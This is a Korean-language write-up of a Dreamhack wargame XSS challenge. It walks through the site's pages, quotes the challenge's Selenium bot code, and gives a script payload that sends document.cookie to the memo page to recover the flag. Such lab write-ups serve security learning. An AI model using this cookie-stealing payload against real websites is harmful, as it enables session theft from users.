https://dreamhack.io/wargame/challenges/28

문제에서 주어진 사이트로 들어가 XSS 취약점을 사용해 플래그를 획득하는 문제이다.
사이트를 살펴보면
/ 메인 페이지

vuln(xss) page 페이지

XSS 취약점이 있다는 것을 파악할 수 있었다. 하지만 이 동작은 이 페이지에서만 가능하다.
memo 페이지

파라미터 값이 그대로 스트링값으로 브라우저상에 출력이 된다.
flag 페이지

flag 페이지에서 플래그를 얻을 수 있을 것 같다고 추측하게 되었다.
XSS 취약점이 있는 vuln페이지의 값으로 파라미터를 받을 수 있는 입력창이 있다.
따라서 입력한 값을 통해 memo 페이지에서 값을 얻을 수 있다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
read_url 함수를 보면 함수에서 쿠키가 생성이 된다.
도메인은 127.0.0.1:8000에 쿠키값이 저장이 되므로 127.0.0.1:8000에서 쿠키 값을 확인해야한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
check_xss 함수를 보면 입력한 url을 참조하게 된다.
플래그가 로컬호스트(127.0.0.1:8000)에 저장되어있으므로 flag 페이지에서 vuln?param에 memo 주소를 적고, memo 페이지의 memo 값을 document.cookie로 줘야한다.
XSS 우회기법
location.href = “주소” # 현재 페이지에서 URL 반환 및 업데이트
window.open =(” ”) # 새 페이지에서 URL 반환 및 업데이트
document.cookie # 이 프로퍼티를 이용하여 브라우저에서 쿠키 접근
위의 기법들을 사용해
<script>location.href = "http://127.0.0.1:8000/memo?memo="+document.cookie</script>
를 flag 페이지에 입력하여 제출했을 때, memo 페이지에 들어가면

위의 사진처럼 플래그값이 쓰여져 있다.